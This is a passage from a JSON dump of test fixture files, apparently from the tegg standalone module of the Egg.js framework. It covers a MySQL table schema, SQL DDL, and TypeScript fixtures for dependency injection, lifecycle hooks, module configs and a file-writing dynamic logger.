\"propertyName\": \"varCharColumn\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"binary_column\",\n      \"propertyName\": \"binaryColumn\",\n      \"type\": {\n        \"type\": \"BINARY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_binary_column\",\n      \"propertyName\": \"varBinaryColumn\",\n      \"type\": {\n        \"type\": \"VARBINARY\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_blob_column\",\n      \"propertyName\": \"tinyBlobColumn\",\n      \"type\": {\n        \"type\": \"TINYBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_text_column\",\n      \"propertyName\": \"tinyTextColumn\",\n      \"type\": {\n        \"type\": \"TINYTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"blob_column\",\n      \"propertyName\": \"blobColumn\",\n      \"type\": {\n        \"type\": \"BLOB\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"text_column\",\n      \"propertyName\": \"textColumn\",\n      \"type\": {\n        \"type\": \"TEXT\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_blob_column\",\n      \"propertyName\": \"mediumBlobColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_blob_column\",\n      \"propertyName\": \"longBlobColumn\",\n      \"type\": {\n        \"type\": \"LONGBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_text_column\",\n      \"propertyName\": \"mediumTextColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_text_column\",\n      \"propertyName\": \"longTextColumn\",\n      \"type\": {\n        \"type\": \"LONGTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"enum_column\",\n      \"propertyName\": \"enumColumn\",\n      \"type\": {\n        \"type\": \"ENUM\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"set_column\",\n      \"propertyName\": \"setColumn\",\n      \"type\": {\n        \"type\": \"SET\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_column\",\n      \"propertyName\": \"geometryColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"point_column\",\n      \"propertyName\": \"pointColumn\",\n      \"type\": {\n        \"type\": \"POINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"line_string_column\",\n      \"propertyName\": \"lineStringColumn\",\n      \"type\": {\n        \"type\": \"LINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"polygon_column\",\n      \"propertyName\": \"polygonColumn\",\n      \"type\": {\n        \"type\": \"POLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multipoint_column\",\n      \"propertyName\": \"multipointColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_line_string_column\",\n      \"propertyName\": \"multiLineStringColumn\",\n      \"type\": {\n        \"type\": \"MULTILINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_polygon_column\",\n      \"propertyName\": \"multiPolygonColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_collection_column\",\n      \"propertyName\": \"geometryCollectionColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRYCOLLECTION\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"json_column\",\n      \"propertyName\": \"jsonColumn\",\n      \"type\": {\n        \"type\": \"JSON\"\n      },\n      \"canNull\": true\n    }\n  ],\n  \"indices\": [\n    {\n      \"name\": \"idx_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"FULLTEXT\",\n      \"comment\": \"index comment\\n\"\n    },\n    {\n      \"name\": \"uk_name_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"name\",\n          \"columnName\": \"name\"\n        },\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"UNIQUE\",\n      \"storeType\": \"BTREE\",\n      \"comment\": \"index comment\\n\"\n    }\n  ],\n  \"comment\": \"foo table\",\n  \"characterSet\": \"utf8mb4\",\n  \"collate\": \"utf8mb4_unicode_ci\"\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/dal/structure/Foo.sql",
    "content": "CREATE TABLE IF NOT EXISTS egg_foo (\n  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\n  name VARCHAR(100) NULL UNIQUE KEY,\n  col1 VARCHAR(100) NULL,\n  bit_column BIT(10) NULL,\n  bool_column BOOL NULL,\n  tiny_int_column TINYINT(5) UNSIGNED ZEROFILL NULL,\n  small_int_column SMALLINT(5) UNSIGNED ZEROFILL NULL,\n  medium_int_column MEDIUMINT(5) UNSIGNED ZEROFILL NULL,\n  int_column INT(5) UNSIGNED ZEROFILL NULL,\n  big_int_column BIGINT(5) UNSIGNED ZEROFILL NULL,\n  decimal_column DECIMAL(10,5) UNSIGNED ZEROFILL NULL,\n  float_column FLOAT(10,5) UNSIGNED ZEROFILL NULL,\n  double_column DOUBLE(10,5) UNSIGNED ZEROFILL NULL,\n  date_column DATE NULL,\n  date_time_column DATETIME(3) NULL,\n  timestamp_column TIMESTAMP(3) NULL,\n  time_column TIME(3) NULL,\n  year_column YEAR NULL,\n  var_char_column VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  binary_column BINARY NULL,\n  var_binary_column VARBINARY(100) NULL,\n  tiny_blob_column TINYBLOB NULL,\n  tiny_text_column TINYTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  blob_column BLOB(100) NULL,\n  text_column TEXT(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  medium_blob_column MEDIUMBLOB NULL,\n  long_blob_column LONGBLOB NULL,\n  medium_text_column MEDIUMTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  long_text_column LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  enum_column ENUM('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  set_column SET('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  geometry_column GEOMETRY NULL,\n  point_column POINT NULL,\n  line_string_column LINESTRING NULL,\n  polygon_column POLYGON NULL,\n  multipoint_column MULTIPOINT NULL,\n  multi_line_string_column MULTILINESTRING NULL,\n  multi_polygon_column MULTIPOLYGON NULL,\n  geometry_collection_column GEOMETRYCOLLECTION NULL,\n  json_column JSON NULL,\n  FULLTEXT KEY idx_col1 (col1) COMMENT 'index comment\\n',\n  UNIQUE KEY uk_name_col1 (name,col1) USING BTREE COMMENT 'index comment\\n'\n) DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/main.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport FooDAO from './dal/dao/FooDAO.ts';\nimport { Foo } from './Foo.ts';\nimport { FooService } from './FooService.ts';\n\n@Runner()\n@ContextProto()\nexport class FooRunner implements MainRunner<Array<Array<Foo>>> {\n  @Inject()\n  fooService: FooService;\n\n  @Inject()\n  private readonly fooDAO: FooDAO;\n\n  async main(): Promise<Array<Array<Foo>>> {\n    await Promise.allSettled([this.fooService.succeedTransaction(), this.fooService.failedTransaction()]);\n    return await Promise.all([\n      this.fooDAO.findByName('insert_succeed_transaction_1'),\n      this.fooDAO.findByName('insert_succeed_transaction_2'),\n      this.fooDAO.findByName('insert_failed_transaction_1'),\n      this.fooDAO.findByName('insert_failed_transaction_2'),\n    ]);\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"skipLibCheck\": true\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dependency/foo.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n// import { Hello } from 'dependency-2';\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<string> {\n  // @Inject()\n  // hello: Hello;\n\n  @Inject()\n  // @ConfigSourceQualifier('dependency2')\n  moduleConfig: any;\n\n  async main(): Promise<string> {\n    // return this.hello.hello() + JSON.stringify(this.moduleConfig);\n    return 'hello!' + JSON.stringify(this.moduleConfig);\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dependency/node_modules/dependency-1/package.json",
    "content": "{\n  \"name\": \"dependency-1\",\n  \"eggModule\": {\n    \"name\": \"dependency-1\"\n  },\n  \"dependencies\": {\n    \"dependency-2\": \"*\"\n  },\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dependency/package.json",
    "content": "{\n  \"name\": \"entry\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"entry\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/AbstractContextHello.ts",
    "content": "export abstract class AbstractContextHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/AbstractSingletonHello.ts",
    "content": "export abstract class AbstractSingletonHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/FooType.ts",
    "content": "// @ts-ignore\nexport enum ContextHelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n\n// @ts-ignore\nexport enum SingletonHelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/HelloService.ts",
    "content": "import { ContextProto, Inject, type EggObjectFactory } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from './AbstractContextHello.ts';\nimport { AbstractSingletonHello } from './AbstractSingletonHello.ts';\nimport { ContextHelloType, SingletonHelloType } from './FooType.ts';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string[]> {\n    const helloImpls = await Promise.all([\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.BAR),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.BAR),\n    ]);\n    const msgs = helloImpls.map((helloImpl) => helloImpl.hello());\n    return msgs;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/decorator/ContextHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { ContextHelloType } from '../FooType.ts';\n\nexport const CONTEXT_HELLO_ATTRIBUTE = 'CONTEXT_HELLO_ATTRIBUTE';\n\nexport const ContextHello: ImplDecorator<AbstractContextHello, typeof ContextHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractContextHello, CONTEXT_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/decorator/SingletonHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/tegg';\n\nimport { AbstractSingletonHello } from '../AbstractSingletonHello.ts';\nimport { SingletonHelloType } from '../FooType.ts';\n\nexport const SINGLETON_HELLO_ATTRIBUTE = 'SINGLETON_HELLO_ATTRIBUTE';\n\nexport const SingletonHello: ImplDecorator<AbstractSingletonHello, typeof SingletonHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractSingletonHello, SINGLETON_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/impl/BarContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { ContextHello } from '../decorator/ContextHello.js';\nimport { ContextHelloType } from '../FooType.js';\n\n@ContextProto()\n@ContextHello(ContextHelloType.BAR)\nexport class BarContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/impl/BarSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { SingletonHello } from '../decorator/SingletonHello.js';\nimport { SingletonHelloType } from '../FooType.js';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.BAR)\nexport class BarSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/impl/FooContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { ContextHello } from '../decorator/ContextHello.js';\nimport { ContextHelloType } from '../FooType.js';\n\n@ContextProto()\n@ContextHello(ContextHelloType.FOO)\nexport class FooContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/impl/FooSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { SingletonHello } from '../decorator/SingletonHello.js';\nimport { SingletonHelloType } from '../FooType.js';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.FOO)\nexport class FooSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/main.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport { HelloService } from './HelloService.ts';\n\n@Runner()\n@ContextProto()\nexport class Foo implements MainRunner<string[]> {\n  @Inject()\n  helloService: HelloService;\n\n  async main(): Promise<string[]> {\n    return await this.helloService.hello();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dynamic-inject-module/package.json",
    "content": "{\n  \"name\": \"dynamic-inject-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dynamicInjectModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/inner-object/foo.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nexport interface Hello {\n  hello(): string;\n}\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  hello: Hello;\n\n  async main(): Promise<string> {\n    return this.hello.hello();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/inner-object/package.json",
    "content": "{\n  \"name\": \"innerobject\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"innerobject\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/invalid-inject/foo.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\nimport { type MainRunner, Runner } from '@eggjs/tegg/standalone';\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<boolean> {\n  @Inject()\n  doesNotExist?: object;\n\n  async main(): Promise<boolean> {\n    return !!this.doesNotExist;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/invalid-inject/package.json",
    "content": "{\n  \"name\": \"invalid-inject\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"invalidInject\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/lifecycle/foo.ts",
    "content": "import {\n  SingletonProto,\n  LifecyclePreLoad,\n  LifecyclePostConstruct,\n  LifecyclePreInject,\n  LifecyclePostInject,\n  LifecycleInit,\n  LifecyclePreDestroy,\n  LifecycleDestroy,\n} from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<string[]> {\n  static staticCalled: string[] = [];\n\n  getLifecycleCalled(): string[] {\n    return Foo.staticCalled;\n  }\n\n  @LifecyclePreLoad()\n  static async _preLoad(): Promise<void> {\n    Foo.staticCalled.push('preLoad');\n  }\n\n  constructor() {\n    Foo.staticCalled.push('construct');\n  }\n\n  @LifecyclePostConstruct()\n  protected async _postConstruct(): Promise<void> {\n    Foo.staticCalled.push('postConstruct');\n  }\n\n  @LifecyclePreInject()\n  protected async _preInject(): Promise<void> {\n    Foo.staticCalled.push('preInject');\n  }\n\n  @LifecyclePostInject()\n  protected async _postInject(): Promise<void> {\n    Foo.staticCalled.push('postInject');\n  }\n\n  protected async init(): Promise<void> {\n    Foo.staticCalled.push('init should not called');\n  }\n\n  @LifecycleInit()\n  protected async _init(): Promise<void> {\n    Foo.staticCalled.push('init');\n  }\n\n  @LifecyclePreDestroy()\n  protected async _preDestroy(): Promise<void> {\n    Foo.staticCalled.push('preDestroy');\n  }\n\n  @LifecycleDestroy()\n  protected async _destroy(): Promise<void> {\n    Foo.staticCalled.push('destroy');\n  }\n\n  async main(): Promise<string[]> {\n    return Foo.staticCalled;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/lifecycle/package.json",
    "content": "{\n  \"name\": \"lifecycle\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"lifecycle\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-config/foo.ts",
    "content": "import { ContextProto, Inject, SingletonProto, ModuleConfigs } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<object> {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  async main(): Promise<object> {\n    return this.moduleConfigs.get('simple')!;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-config/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-config/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-config/foo.ts",
    "content": "import { ContextProto, Inject, SingletonProto, ModuleConfigs } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<object> {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  async main(): Promise<object> {\n    return this.moduleConfigs.get('simple')!;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-config/module.yml",
    "content": ""
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-config/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-default-config/foo.ts",
    "content": "import { ContextProto, Inject, SingletonProto, ModuleConfigs } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<object> {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  async main(): Promise<object> {\n    return this.moduleConfigs.get('simple')!;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-default-config/module.dev.yml",
    "content": "features:\n  dynamic:\n    foo: 'foo'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-default-config/module.yml",
    "content": ""
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-empty-default-config/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-env-config/foo.ts",
    "content": "import { ContextProto, Inject, SingletonProto, ModuleConfigs } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@SingletonProto()\nexport class Hello {\n  hello() {\n    return 'hello!';\n  }\n}\n\n@ContextProto()\nexport class HelloContext {\n  hello() {\n    return 'hello from ctx';\n  }\n}\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<object> {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  async main(): Promise<object> {\n    return this.moduleConfigs.get('simple')!;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-env-config/module.dev.yml",
    "content": "features:\n  dynamic:\n    foo: 'foo'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-env-config/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/module-with-env-config/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/biz/biz.ts",
    "content": "import { Inject, SingletonProto, AccessLevel } from '@eggjs/tegg';\n\nimport { DynamicLogger, LogPath } from '../logger/DynamicLogger.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Biz {\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  @LogPath('fooBiz')\n  fooDynamicLogger: DynamicLogger;\n\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  @LogPath('barBiz')\n  barDynamicLogger: DynamicLogger;\n\n  async doSomething(): Promise<void> {\n    await this.fooDynamicLogger.info('hello, foo biz');\n    await this.barDynamicLogger.info('hello, bar biz');\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/biz/module.yml",
    "content": "features:\n  logger:\n    - fooBiz\n    - barBiz\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/biz/package.json",
    "content": "{\n  \"name\": \"multi-callback-instance-module-biz\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiCallbackInstanceModuleBiz\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/logger/DynamicLogger.ts",
    "content": "import fs from 'node:fs';\nimport { EOL } from 'node:os';\nimport path from 'node:path';\nimport { Writable } from 'node:stream';\n\nimport {\n  MultiInstanceProto,\n  type MultiInstancePrototypeGetObjectsContext,\n  LifecycleInit,\n  LifecycleDestroy,\n  QualifierUtil,\n  type EggProtoImplClass,\n  AccessLevel,\n} from '@eggjs/tegg';\nimport { type EggObject, ModuleConfigUtil, type EggObjectLifeCycleContext } from '@eggjs/tegg/helper';\n\nexport const LOG_PATH_ATTRIBUTE: symbol = Symbol.for('LOG_PATH_ATTRIBUTE') as symbol;\n\nexport function LogPath(name: string) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(target.constructor as EggProtoImplClass, propertyKey, LOG_PATH_ATTRIBUTE, name);\n  };\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath);\n    const logger = (config as any)?.features?.logger;\n    if (!logger) {\n      return [];\n    }\n    return logger.map((name: string) => {\n      return {\n        name: 'dynamicLogger',\n        qualifiers: [\n          {\n            attribute: LOG_PATH_ATTRIBUTE,\n            value: name,\n          },\n        ],\n      };\n    });\n  },\n})\nexport class DynamicLogger {\n  stream: Writable;\n  loggerName: string;\n\n  @LifecycleInit()\n  async init(ctx: EggObjectLifeCycleContext, obj: EggObject): Promise<void> {\n    const loggerName = obj.proto.getQualifier(LOG_PATH_ATTRIBUTE);\n    this.loggerName = loggerName as string;\n    this.stream = fs.createWriteStream(path.join(ctx.loadUnit.unitPath, `${loggerName}.log`));\n  }\n\n  @LifecycleDestroy()\n  async destroy(): Promise<void> {\n    return new Promise<void>((resolve, reject) => {\n      this.stream.end((err: any) => {\n        if (err) {\n          return reject(err);\n        }\n        return resolve();\n      });\n    });\n  }\n\n  info(msg: string): Promise<void> {\n    return new Promise<void>((resolve, reject) => {\n      this.stream.write(msg + EOL, (err: any) => {\n        if (err) {\n          return reject(err);\n        }\n        return resolve();\n      });\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/logger/package.json",
    "content": "{\n  \"name\": \"multi-callback-instance-module-logger\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiCallbackInstanceModuleLogger\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/main/foo.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport { Biz } from '../biz/biz.ts';\nimport { DynamicLogger, LogPath } from '../logger/DynamicLogger.ts';\n\n@SingletonProto()\n@Runner()\nexport class Foo implements MainRunner<void> {\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  @LogPath('foo')\n  fooDynamicLogger: DynamicLogger;\n\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  @LogPath('bar')\n  barDynamicLogger: DynamicLogger;\n\n  @Inject()\n  biz: Biz;\n\n  async main(): Promise<void> {\n    await this.fooDynamicLogger.info('hello, foo');\n    await this.barDynamicLogger.info('hello, bar');\n    await this.biz.doSomething();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/main/module.yml",
    "content": "features:\n  logger:\n    - foo\n    - bar\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-callback-instance-module/main/package.json",
    "content": "{\n  \"name\": \"multi-callback-instance-module-main\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiCallbackInstanceModuleMain\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-modules/bar/module.yml",
    "content": "features:\n  dynamic:\n    bar: 'bar'\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-modules/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/multi-modules/foo/foo.ts",
